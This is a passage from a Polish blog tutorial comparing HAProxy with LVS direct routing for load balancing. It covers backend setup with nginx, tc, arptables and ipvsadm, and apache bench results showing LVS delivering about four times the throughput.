<span class="n">mac</span><span class="o">:</span> <span class="mi">00</span><span class="o">:</span><span class="mi">00</span><span class="o">:</span><span class="n">fe</span><span class="o">:</span><span class="n">ed</span><span class="o">:</span><span class="n">fa</span><span class="o">:</span><span class="n">ce</span>
<span class="n">real</span> <span class="n">server2</span><span class="o">:</span>
<span class="n">ip</span><span class="o">:</span> <span class="mf">10.0</span><span class="o">.</span><span class="mf">0.6</span>
<span class="n">virtual</span> <span class="n">ip</span><span class="o">:</span> <span class="mf">10.0</span><span class="o">.</span><span class="mf">0.2</span>
<span class="n">mac</span><span class="o">:</span> <span class="mi">00</span><span class="o">:</span><span class="mi">00</span><span class="o">:</span><span class="n">de</span><span class="o">:</span><span class="n">af</span><span class="o">:</span><span class="n">ba</span><span class="o">:</span><span class="n">be</span>
</pre></div>
<p>Gdy do <em>director</em>-a trafia pakiet, który w ramce na ustawione następujące wartości:</p>
<div class="highlight"><pre><span></span>(...)
source ip: 172.10.4.4
dest ip: 10.0.0.2
dest mac: 00:00:de:ad:be:ef
(...)
</pre></div>
<p><em>Director</em> jedyne co robi, to podmienia TYLKO <code>dest mac</code> na adres <code>MAC</code> jednego z <em>real server</em>-ów.
Tak zmieniony pakiet może wyglądać następująco:</p>
<div class="highlight"><pre><span></span>(...)
source ip: 172.10.4.4
dest ip: 10.0.0.2
<span class="hll">dest mac: 00:00:de:af:ba:be
</span>(...)
</pre></div>
<p>Taki pakiet (po adresie <code>MAC</code>) trafi do <em>real server2</em>.
Po otrzymaniu takiego pakiety przez <em>real server</em> oraz zweryfikowaniu, że docelowy adres <code>IP</code> jest również adresem <em>real server</em>-a (tym wirtualnym), serwer zaczyna go przetwarzać.</p>
<p>Po przetworzeniu zapytania, <em>real server</em> (w przeciwieństwie do <em>Haproxy</em>) nie wysyła odpowiedzi do <em>director</em>-a, a odpowiada do maszyny, która jest wpisana w polu <code>source ip</code>. Jest to adres klienta.
Dlatego, <em>real server</em> wysyła odpowiedź bezpośrednio do klienta.
W przypadku w którym każdy <em>real server</em> ma osobne łącze wychodzące, każdy z nich może wysyłać taką ilość danych na jaką pozwala jego łącze.
Dlatego <code>uplink</code> <em>director</em>-a nie jest już problemem, gdyż żadne dane nie wracają przez niego.</p>
<h2>Konfiguracja</h2>
<p><span class="videobox">
<iframe width="320" height="180"
src='https://www.youtube.com/embed/uryo9AGgTFY'
frameborder='0' webkitAllowFullScreen mozallowfullscreen
allowFullScreen>
</iframe>
</span></p>
<h3>Maszyny aplikacyjne</h3>
<p>Pierwszym krokiem jest konfiguracja maszyn aplikacyjnych (<em>backend</em>-owych).
Będziemy potrzebowali:</p>
<ul>
<li><code>nginx</code> - który będzie naszym serwerem www</li>
<li><code>wget</code> - który będzie potrzebny do pobrania obrazka z internetu</li>
<li><code>arptables</code> - który będzie blokował rozgłaszanie <em>arp</em>ów</li>
</ul>
<p>Na wszystkich maszynach aplikacyjnych wykonujemy następujące polecenie:</p>
<div class="highlight"><pre><span></span># yum install nginx wget arptables
</pre></div>
<p>Następnie, ściągamy dowolny obraz z internetu.
W przykładzie zostało wybrane zdjęcie Dolomitów.
Ma ono 4MB, co pozwoli w łatwy sposób wysycić łącze.</p>
<div class="highlight"><pre><span></span># cd /usr/share/nginx/html
# wget http://www.junglebook.sk/panoramy/2010-Dolomity/01.1140674_1140681.jpg
</pre></div>
<p>Kolejnym krokiem jest uruchomienie <code>nginx</code>.</p>
<div class="highlight"><pre><span></span># systemctl start nginx
</pre></div>
<p>Domyślnie, maszyny utworzone przez <em>Vagrant</em>-a posiadają wirtualne karty sieciowe, które byłoby ciężko wysycić.
Próbując wygenerował ruch mogący wykorzystać cały 1Gbps obciążenie <code>CPU</code> wzrosło by w znaczącym stopniu.
Dlatego, aby zasymulować wysycenie łącza ograniczmy przepustowość naszego <em>interface</em>-u do 10Mbps.
Do tego celu użyjemy <em>traffic control</em>.</p>
<div class="highlight"><pre><span></span># tc qdisc add dev eth0 root tbf rate 10240kbit latency 50ms burst 1540
</pre></div>
<p>Następnie musimy skonfigurować wirtualny adres IP.
Jednak musimy zapewnić mechanizm blokujący rozgłaszanie <em>arp</em> dla tego adresu.
Do tego celu użyjemy <code>arptables</code>, któremu przekażemy parametr <code>-s</code> określający adres IP którego dotyczy reguła, <code>-j</code> określający docelowy łańcuch - w tym przypadku <code>DROP</code>, oraz <code>-A</code> określający łańcuch w którym ma się znaleźć reguła.</p>
<div class="highlight"><pre><span></span># arptables -A OUTPUT -s 192.168.121.2 -j DROP
</pre></div>
<p>Mając już zabezpieczenie przed kolizją adresów, możemy dodać nasz wirtualny adres IP</p>
<div class="highlight"><pre><span></span># ip addr add 192.168.121.2/32 dev lo
</pre></div>
<p>Wykorzystujemy tutaj maskę <code>/32</code> ponieważ ten adres nie ma żadnej sieci w którą się będzie komunikował oraz urządzenie <code>lo</code> wybrane jako losowy <em>interface</em> do którego przypniemy adres.</p>
<p>Przetestujmy czy konfiguracja serwerów aplikacyjnych jest poprawna.
W tym celu użyjemy narzędzia <code>apache benchmark</code>
Wykonując polecenie:</p>
<div class="highlight"><pre><span></span># ab -n 100 -c 5 http://192.168.121.13/01.1140674_1140681.jpg
(...)
Failed requests: 0
(...)
Transfer rate: 1194.86 [Kbytes/sec] received
(...)
</pre></div>
<p>dostaniemy w wyniku podsumowania informację, że żadne zapytanie nie zakończyło się błędem, co świadczy o tym, że serwer <em>www</em> został skonfigurowany poprawnie oraz informację, że średni transfer wynosił 1194 KBps, co w przeliczeniu na kilobity daje ok 9552 Kbps, co potwierdza, że ograniczenie przepustowości łącza również zostało skonfigurowane poprawnie.</p>
<h3>Maszyna balansująca ruch</h3>
<h4>Haproxy</h4>
<p>W celu zainstalowania <em>haproxy</em> wykonujemy polecenie</p>
<div class="highlight"><pre><span></span># yum install haproxy
</pre></div>
<p>Do naszych celów wykorzystamy domyślną konfigurację w której zmienimy adresy serwerów <em>backend</em>-owych na nasze oraz usuniemy <code>acl</code> dla plików statycznych.<br>
W pliku <code>/etc/haproxy/haproxy.cfg</code> zmieniamy sekcje <code>backend app</code> na:</p>
<div class="highlight"><pre><span></span>backend app
balance roundrobin
server app1 192.168.121.141 check
server app2 192.168.121.13 check
server app3 192.168.121.142 check
server app4 192.168.121.28 check
</pre></div>
<p>oraz usuwamy z sekcji <code>frontend main *:5000</code> linijki dotyczące <code>acl</code></p>
<div class="highlight"><pre><span></span>acl url_static *
use_backend static *
</pre></div>
<p>i wykonujemy restart <code>haproxy</code></p>
<div class="highlight"><pre><span></span>systemctl restart haproxy
</pre></div>
<h4>LVS</h4>
<p>W celu zainstalowania narzędzia do konfiguracji <em>LVS</em> wykonujemy polecenie</p>
<div class="highlight"><pre><span></span># yum install ipvsadm
</pre></div>
<p>Następnie dodajemy adres wirtualny do balansera (należy zwrócić uwagę, że w tym przypadku nie ustawiamy reguł na <em>arptables</em>) do <em>interface</em>-u zewnętrznego.</p>
<div class="highlight"><pre><span></span># ip addr add 192.168.121.2/24 dev eth0
</pre></div>
<p>Ostatnim krokiem jest skonfigurowanie samego <em>LVS</em>.
Wykonujemy to poprzez utworzenie <em>listener</em>-a który będzie słuchał na porcie 80.</p>
<div class="highlight"><pre><span></span># ipvsadm -A -t 192.168.121.2:80
</pre></div>
<p>a następnie dodajemy <em>real server</em>-y.</p>
<div class="highlight"><pre><span></span># ipvsadm -a -t 192.168.121.2:80 -r 192.168.121.141 -g
# ipvsadm -a -t 192.168.121.2:80 -r 192.168.121.142 -g
# ipvsadm -a -t 192.168.121.2:80 -r 192.168.121.13 -g
# ipvsadm -a -t 192.168.121.2:80 -r 192.168.121.28 -g
</pre></div>
<h2>Porównanie</h2>
<p><span class="videobox">
<iframe width="320" height="180"
src='https://www.youtube.com/embed/3z8Ilu8-vzY'
frameborder='0' webkitAllowFullScreen mozallowfullscreen
allowFullScreen>
</iframe>
</span></p>
<p>W celu porównania wydajności obu rozwiązań, zróbmy test polegający na pobraniu 100 obrazków z równoległą liczbą połączeń wynoszącą 12.</p>
<p><em>Haproxy</em>:</p>
<div class="highlight"><pre><span></span># ab -n 100 -c 12 http://192.168.121.29:5000/01.1140674_1140681.jpg
(...)
Time taken for tests: 388.511 seconds
Transfer rate: 1180.92 [Kbytes/sec] received
(...)
</pre></div>
<p><em>LVS</em>:</p>
<div class="highlight"><pre><span></span># ab -n 100 -c 12 http://192.168.121.2/01.1140674_1140681.jpg
(...)
Time taken for tests: 99.823 seconds
Transfer rate: 4596.12 [Kbytes/sec] received
(...)
</pre></div>
<p>Poniżej znajduje się wykres utylizacji łącza podczas testów.</p>
<p><a href="https://blog.fabrykowski.pl/images/devops_haproxy_vs_lvs_wykres_porownawczy.jpg"><img alt="Wykres transferu danych w Haproxy oraz LVS" src="/thumbs/devops_haproxy_vs_lvs_wykres_porownawczy_thumbnail_tall.jpg" title="Wykres transferu danych w Haproxy oraz LVS"></a></p>
<p>Jak widać na pierwszym wykresie, przy zapytaniach kierowanych do <em>Haproxy</em>, jeden z serwerów ma tzw. <em>sufit</em>, czyli ilość wysyłanych danych osiągnęła wartość maksymalną.
Ten charakterystyczny kształt wykresu pojawia się często, nie tylko w kontekście sieci, i zwykle oznacza, że mierzona wartość jest wąskim gardłem, gdyż jest wysycona w 100%.
Dodatkowo widzimy co pewien czas, duże <em>piki</em>.
Jest to transfer wchodzący.
Ponieważ na <em>traffic control</em> limitowaliśmy jedynie ruch wychodzący, to ruch wchodzący może być większy.
Taka właśnie sytuacja tutaj następuje.
Widzimy również, że cztery maszyny oscylują z ruchem wychodzącym w okolicach 5Mbps.
Wynika to z faktu, że nie limitujemy ruchu wchodzącego, dlatego serwery <em>backend</em>-owe mogą wysyłać sumarycznie powyżej 10Mbit.
Natomiast <em>Haproxy</em> może zwracać do klienta dane jedynie z szybkością 10Mbit, dlatego nadwyżka jest odbierana i przechowywana w <em>cache</em> na maszynie z <em>Haproxy</em>.
W przypadku, gdyby limit był ustawiony również na ruch wchodzący, powyższe piki by nie występowały, a ruch z maszyn aplikacyjnych byłyby sumarycznie równy 10Mbit i również byłby zbliżony do <em>sufitu</em>.<br>
Wartość odczytana z <code>apache benchmark</code> jest porównywalna z wartościami z wykresów (niedokładność wartości na wykresie wynika z niedokładności w konfiguracji).
Czyli, limit 10Mbit na maszynie widać zarówno jako <em>sufit</em> na wykresie, jak i <code>Transfer rate</code> w <code>apache benchmark</code></p>
<p>W przypadku <em>LVS</em> sytuacja się diametralnie różna.
Widzimy, że wykres jest znacznie krótszy niż w przypadku <em>Haproxy</em>.
Dodatkowo ponownie widzimy efekt <em>sufitu</em>, jednak tym razem cztery serwery wysyłają z maksymalną możliwą prędkością.
Jeśli chodzi o ruch na maszynie balansującej, to widzimy niski sufit na poziomie ok 0.5Mbit, ponieważ przez <em>balancer</em> idą tylko małe zapytania <em>HTTP</em>.<br>
Zachowanie odczytane z wykresu ma swoje odzwierciedlenie w wynikach <code>apache benchmark</code>.</p>
<p>Widzimy, że w przypadku <em>LVS</em> zarówno <code>Tranfer rate</code> jest czterokrotnie większy, jak i sumaryczny czas testu jest czterokrotnie mniejszy.
To pokazuje, że w środowisku w którym następuje wysycenie łącza wychodzącego rozwiązaniem może być zastosowanie <em>LVS</em> w trybie <em>direct routing</em>.</p>
<p>Zachęcam do komentowania w odpowiednimi filmami na YouTube</p>